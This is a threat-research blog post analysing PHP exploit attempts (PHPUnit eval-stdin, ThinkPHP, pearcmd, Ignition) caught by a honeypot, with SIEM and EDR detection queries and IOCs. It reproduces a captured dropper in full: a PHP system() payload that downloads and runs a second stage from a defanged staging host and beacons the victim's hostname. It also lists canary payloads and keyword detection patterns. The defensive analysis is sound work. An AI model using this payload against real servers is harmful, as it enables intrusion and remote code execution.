Global SOC / Blog
DNS Audit

THREAT RESEARCH & LABS · Yogesh · 4 November 2026

Six Old PHP Exploits Still Sprayed Daily: How to Detect the Attempt, the Check and the Dropper

PHPUnit eval-stdin, ThinkPHP invokefunction, pearcmd, Laravel Ignition, PHP-CGI and the Apache traversal made up 585 requests to my honeypot. I break down the payloads, including a dropper that reports back at every stage, and give behavioural detections for Splunk + CrowdStrike and Sentinel + Defender for Endpoint.

Part of my honeypot detection series. Org A runs Splunk with CrowdStrike Falcon. Its Falcon queries use Event Search field names; on raw FDR data, apply the normalisation macro first. Org B runs Microsoft Sentinel with Defender for Endpoint. The web-layer KQL ran against the honeypot's real logs. The endpoint queries are written from the payloads shown here, so adapt the field names to your environment.

1. What Hit the Server

I built the honeypot to attract exploits for two PHP bugs from October 2026. Most of the code-execution attempts it got were for much older ones:

TechniqueIdentifierDisclosedRequestsSource IPsStatus codes returned
PHPUnit eval-stdin.phpCVE-2017-9841201743020404 x 430
PHP-CGI argument injectionCVE-2012-1823 / CVE-2024-45772012 / 20245912200 x 35, 404 x 24
Apache httpd path traversal to /bin/shCVE-2021-41773 / CVE-2021-4201320212916400 x 29
ThinkPHP 5 invokefunctionCNVD-2018-2494220182513200 x 12, 400 x 2, 404 x 11
pearcmd.php through a file-include parameterno CVE (technique)20211111200 x 11
Laravel Ignition execute-solutionCVE-2021-3129202133404 x 3

Of 585 requests for these techniques, 523 came from the twelve RedTail bot IPs, which have their own post. This post covers the techniques themselves and the other actors using them. One of those actors sent the most interesting payload in the set: a dropper that phones home at every stage, so its operator can watch a conversion funnel.

None of these exploits can work against my server: no PHPUnit, no ThinkPHP, no Laravel, no php-cgi, and a patched Apache. But they work against plenty of real servers, and their payloads show a defender exactly what to look for.

2. The Attack, Step by Step

Exploit Step 1: Find a code-execution entry point

All of them are T1190 Exploit Public-Facing Application.

Exploit Step 2: "Did it work?"

Every bot sends a harmless check first and reads the response. These checks are easy to spot in logs:

CheckExampleWhy it's built that way
MD5 canaryecho(md5("Hello PHPUnit"))The hash only appears in the response if the code ran
Arithmetic canary63187*52324 → 3306196588The answer isn't in the request, so a page that just reflects input can't fake it
Marker + system info"SNIPPER_OK_" . php_uname("a")Confirms execution and fingerprints the kernel in one go
${IFS}wget${IFS}-qO-Replaces spaces so a shell command survives in a URL

Delivery + C2 Step 3: A dropper with a conversion funnel

On 8 November, 195.178.110[.]78 skipped the check and sent this straight to PHPUnit:

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: text/plain

<?php system("(/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/e/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/e/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/e/$(uname -n) >/dev/null 2>&1);sleep 5;cd /tmp||cd /dev/shm;export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/system/bin:/system/xbin:$PATH;(/bin/busybox wget -qO.y hxxp://77.239.124[.]167/s||wget -qO.y hxxp://77.239.124[.]167/s||curl -fsSL -m 8 -o.y hxxp://77.239.124[.]167/s);test -s .y||(/bin/busybox wget -qO.y hxxp://77.239.124[.]167:23413/k/a56f1a4933ad0bca/s||wget -qO.y hxxp://77.239.124[.]167:23413/k/a56f1a4933ad0bca/s||curl -fsSL -m 8 -o.y hxxp://77.239.124[.]167:23413/k/a56f1a4933ad0bca/s);test -s .y&&((/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/f/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/f/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/f/$(uname -n) >/dev/null 2>&1);/bin/sh .y||/system/bin/sh .y||sh .y||/bin/busybox sh .y||busybox sh .y;(/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/r/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/r/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/r/$(uname -n) >/dev/null 2>&1))||(/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/n/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/n/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/n/$(uname -n) >/dev/null 2>&1)"); ?>

Laid out one step per line:

(/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/e/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/e/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/e/$(uname -n) >/dev/null 2>&1);
sleep 5;
cd /tmp||cd /dev/shm;
export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/system/bin:/system/xbin:$PATH;
(/bin/busybox wget -qO.y hxxp://77.239.124[.]167/s||wget -qO.y hxxp://77.239.124[.]167/s||curl -fsSL -m 8 -o.y hxxp://77.239.124[.]167/s);
test -s .y||(/bin/busybox wget -qO.y hxxp://77.239.124[.]167:23413/k/a56f1a4933ad0bca/s||wget -qO.y hxxp://77.239.124[.]167:23413/k/a56f1a4933ad0bca/s||curl -fsSL -m 8 -o.y hxxp://77.239.124[.]167:23413/k/a56f1a4933ad0bca/s);
test -s .y&&((/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/f/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/f/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/f/$(uname -n) >/dev/null 2>&1);
/bin/sh .y||/system/bin/sh .y||sh .y||/bin/busybox sh .y||busybox sh .y;
(/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/r/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/r/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/r/$(uname -n) >/dev/null 2>&1))||(/bin/busybox wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/n/$(uname -n)||wget -qO- -T 4 hxxp://77.239.124[.]167:8099/b/n/$(uname -n)||curl -fsSL -m 4 hxxp://77.239.124[.]167:8099/b/n/$(uname -n) >/dev/null 2>&1)

The design is clever. Before downloading anything, it requests /b/e/$(uname -n) ("executed") with the victim's hostname in the URL. Then /b/f/ (fetched), /b/r/ (ran) or /b/n/ (nothing worked). The operator's own web log becomes a dashboard showing every host where the exploit landed and how far it got (T1071.001). Every download is tried three ways (busybox wget, wget, curl), on two ports, and the PATH includes Android's /system/bin. It's built to run on anything from a cloud VM to a set-top box (T1105).

Installation Step 4: Hidden script in /tmp

The second stage lands as /tmp/.y (or in /dev/shm) and is run with sh .y (T1564.001, T1059.004). I didn't fetch it. Whatever it is, the steps up to here are what you can detect.

3. Pyramid of Pain

LevelIndicatorWhat I'd do with it
IP addressesStaging host 77.239.124[.]167 (ports 80, 8099, 23413); callback 178.83.188[.]141:8880Block at egress. They'll move.
Host artefacts/tmp/.y, /tmp/index1.phpCheap hunt. Trivially renamed.
Network artefactsBeacon paths /b/e/, /b/f/, /b/r/, /b/n/; canary stringsGood proxy and web-log signatures. Canaries are fairly stable because the bots' result parsers depend on them.
ToolsPath lists for eval-stdin.php; pearcmd config-create; Ignition filter chainsDetect the attempt by the exploit's shape, regardless of the path.
TTPsPHP or shell code inside an HTTP request; a shell pipeline with hostname substitution and a multi-tool download fallback; a hidden script run from /tmpHighest value. These hold across every PHP RCE, old or new.

4. Web-Layer Detections

For Org B I've parsed the honeypot's nginx log into a WebAccess function. For Org A I've used the CIM Web data model, or the raw nginx index when we need the request body.

let WebAccess = Syslog
| where SyslogMessage startswith "php_http: "
| extend j = parse_json(substring(SyslogMessage, 10))
| project TimeGenerated, DestHost = Computer, SrcIp = tostring(j.client), Method = tostring(j.method), Request = tostring(j.request),
          Url = tostring(j.uri), Status = toint(j.status), BytesOut = toint(j.bytes_out),
          UserAgent = tostring(j.user_agent), ContentType = tostring(j.content_type), Body = tostring(j.body);

W1. PHPUnit eval-stdin.php (CVE-2017-9841)

Org B Tested: 448 requests from 21 sources across 41 paths. None got a 200.

WebAccess
| where Url has "eval-stdin.php"
| summarize Requests = count(), Sources = dcount(SrcIp), Paths = dcount(Url),
            WithBody = countif(isnotempty(Body)), Answered200 = countif(Status == 200)

Org A

| tstats count values(Web.status) as status dc(Web.url) as paths from datamodel=Web
    where Web.url="*eval-stdin.php*" by Web.src Web.dest
| rename Web.* as *
| eval answered_200=if(mvfind(status, "^200$") >= 0, "YES", "no")

A 404 is noise. A 200 on this path means vendor/ is exposed, and that's critical whether or not the payload ran.

W2. Code inside an HTTP request (T1190): the general rule

Org B Tested: 558 requests from 22 sources. 72 got a 200 and none executed. The 200s were the home page answering a query string it ignores.

WebAccess
| extend Hay = strcat(Request, " ", Body)
| where Hay has_any ("<?php", "<?=", "<?echo", "%3C%3Fphp", "call_user_func", "shell_exec", "system(",
                     "passthru", "base64_decode", "auto_prepend_file", "php://input", "php://filter")
| summarize Requests = count(), Sources = dcount(SrcIp), Answered200 = countif(Status == 200)

Org A

index=web sourcetype=nginx:access
    ("<?php" OR "<?=" OR "<?echo" OR "%3C%3Fphp" OR "call_user_func" OR "shell_exec" OR "system("
     OR "passthru" OR "base64_decode" OR "auto_prepend_file" OR "php://input" OR "php://filter")
| stats count dc(clientip) as sources count(eval(status=200)) as answered_200 by host

PHP tags, php:// wrappers and command functions have no business in a URL or form body. This one rule covers every exploit in this post and the next zero-day that uses the same building blocks. Expect false positives from security-content sites, code-sharing forums, and your own scanner. Tune per application.

W3. Execution canaries

Org B Tested:

CheckRequestsSources
MD5 canary46612
${IFS} space bypass192
Hostname beacon192
PAST marker44
Arithmetic canary21
SNIPPER_OK marker21
WebAccess
| extend Hay = strcat(Request, " ", Body)
| extend Check = case(
    Hay has "md5(" and Hay has "Hello", "md5 canary",
    Hay has "SNIPPER_OK_", "SNIPPER_OK marker",
    Hay has "63187*52324" or Hay has "63187%2A52324", "arithmetic canary",
    Hay matches regex @"echo\s*['""]?PAST", "PAST marker",
    Hay has "${IFS}", "${IFS} space bypass",
    Hay has_any ("uname -n", "uname%20-n", "$(uname"), "hostname beacon",
    "")
| where isnotempty(Check)
| summarize Requests = count(), Sources = dcount(SrcIp) by Check
| order by Requests desc

Org A

index=web sourcetype=nginx:access
| eval hay=_raw
| eval check=case(
    match(hay, "md5\(") AND match(hay, "Hello"), "md5 canary",
    match(hay, "SNIPPER_OK_"),                    "SNIPPER_OK marker",
    match(hay, "63187(\*|%2A)52324"),            "arithmetic canary",
    match(hay, "echo\s*['\"]?PAST"),             "PAST marker",
    match(hay, "\$\{IFS\}"),                     "${IFS} space bypass",
    match(hay, "uname(%20| )-n|\$\(uname"),      "hostname beacon")
| where isnotnull(check)
| stats count dc(clientip) as sources by check

If you can see response bodies (a WAF or a reverse proxy with response logging), the stronger version looks for the answer going out: the MD5 hashes, 3306196588, SNIPPER_OK_Linux. A canary answer in a response means code ran. That's critical.

W4. pearcmd and Ignition

Org B Tested: 11 pearcmd writes, 2 Ignition execute-solution attempts and 1 health check.

WebAccess
| where Url has_any ("pearcmd", "/_ignition/execute-solution", "/_ignition/health-check")
| extend Technique = case(Url has "pearcmd", "pearcmd config-create",
                          Url has "execute-solution", "Ignition execute-solution", "Ignition health-check")
| summarize Requests = count(), Sources = dcount(SrcIp) by Technique

Org A

| tstats count dc(Web.src) as sources from datamodel=Web
    where (Web.url="*pearcmd*" OR Web.url="*/_ignition/execute-solution*" OR Web.url="*/_ignition/health-check*")
    by Web.dest Web.url Web.status

5. Endpoint Detections

If any of these exploits lands, PHP runs a shell. Start with the web-server-spawns-a-shell rule from the RedTail post, which applies to every exploit here. These three add coverage for this post's dropper specifically.

E1. Hostname-beacon and download-fallback pipelines (T1105, T1071.001)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    FileName IN ("sh","bash","dash","busybox","wget","curl")
    (CommandLine="*$(uname -n)*" OR CommandLine="*`uname -n`*" OR CommandLine="*$(hostname)*"
     OR CommandLine="*busybox wget*" OR CommandLine="*${IFS}*")
| table _time ComputerName UserName GrandParentBaseFileName ParentBaseFileName FileName CommandLine

Org B

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("sh","bash","dash","busybox","wget","curl")
| where ProcessCommandLine has_any ("$(uname -n)", "`uname -n`", "$(hostname)", "busybox wget", "${IFS}")
| project Timestamp, DeviceName, AccountName, InitiatingProcessParentFileName,
          InitiatingProcessFileName, FileName, ProcessCommandLine

$(uname -n) inside a download URL, busybox wget on a server that has real wget, and ${IFS} are all bot fingerprints. They're very rare in admin scripts. High severity.

E2. Hidden or temp-path script run by a shell (T1564.001, T1059.004)

Org A

index=crowdstrike event_platform=Lin event_simpleName=ProcessRollup2
    FileName IN ("sh","bash","dash","busybox")
| rex field=CommandLine "^(?:\S*/)?(?:sh|bash|dash|busybox sh)\s+(?<script>\S+)"
| where match(script, "(^|/)\.[^/]+$") OR match(script, "^/(tmp|dev/shm|var/tmp)/")
| table _time ComputerName UserName ParentBaseFileName CommandLine script

Org B

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("sh","bash","dash","busybox")
| extend Script = extract(@"(?:^|/)(?:sh|bash|dash|busybox sh)\s+(\S+)", 1, ProcessCommandLine)
| where Script matches regex @"(^|/)\.[^/]+$" or Script matches regex @"^/(tmp|dev/shm|var/tmp)/"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine, Script

sh .y, sh /tmp/x, bash /dev/shm/.a: legitimate software almost never runs scripts like this. Some installers do it from /tmp with a visible name, so you might allowlist those by parent, but a dot-name is close to a guaranteed hit.

E3. PHP file written to /tmp or the web root by the web server (T1505.003)

Org A Falcon's file-write event names vary by sensor version and platform. Check which of these your FDR feed carries:

index=crowdstrike event_platform=Lin
    event_simpleName IN ("NewScriptWritten","NewExecutableWritten","WebScriptFileWritten")
    (TargetFileName="/tmp/*.php" OR TargetFileName="/var/tmp/*.php" OR TargetFileName="/dev/shm/*.php"
     OR TargetFileName="/var/www/*.php")
| table _time ComputerName ContextProcessId_decimal TargetFileName

Org B

DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType in ("FileCreated", "FileModified")
| where FileName endswith ".php"
| where FolderPath startswith "/tmp/" or FolderPath startswith "/var/tmp/" or FolderPath startswith "/dev/shm/"
     or (FolderPath startswith "/var/www/" and InitiatingProcessFileName in~ ("php","php-fpm","apache2","httpd"))
| project Timestamp, DeviceName, FolderPath, InitiatingProcessAccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine

This catches the pearcmd trick (/tmp/index1.php) and web shells in general. Deployment tools write PHP into the web root too, so scope the web-root half of the rule to writes made by the web server process itself.

6. When It Fires

  1. Web-layer only: confirm the target doesn't run the vulnerable component. Look for vendor/ in the web root, ThinkPHP, debug mode, or php-cgi. If it's clean, close the alert. If it isn't, fix it today.
  2. A W1 200, a W3 answer in a response, or any E rule: assume execution. Org A Network-contain the host in Falcon. Org B Isolate it in Defender.
  3. Follow the funnel. Search proxy, firewall and DNS logs for requests to the staging host. With this dropper, the /b/e/, /b/f/ and /b/r/ requests tell you exactly how far it got on each host.
  4. Collect /tmp/.y (or whatever E2 names) before rebuilding. Falcon RTR get, or a Defender live response getfile.
  5. Rebuild and rotate anything the web user could read.

7. Hardening

8. IOCs

TypeValueSeen in
Staging host77.239.124[.]167 ports 80, 8099, 23413PHPUnit and ThinkPHP dropper from 195.178.110[.]78
URL paths/b/e/, /b/f/, /b/r/, /b/n/ + hostname; /s; /k/a56f1a4933ad0bca/sSame
File.y in /tmp or /dev/shmSame
Callback178.83.188[.]141:8880, path /t/<24 hex>PHPUnit and Ignition from 92.118.39[.]92
CanariesSNIPPER_OK_, PAST + 6 digits, 3306196588, MD5 of Hello PHPUnit / Hello / hiExecution checks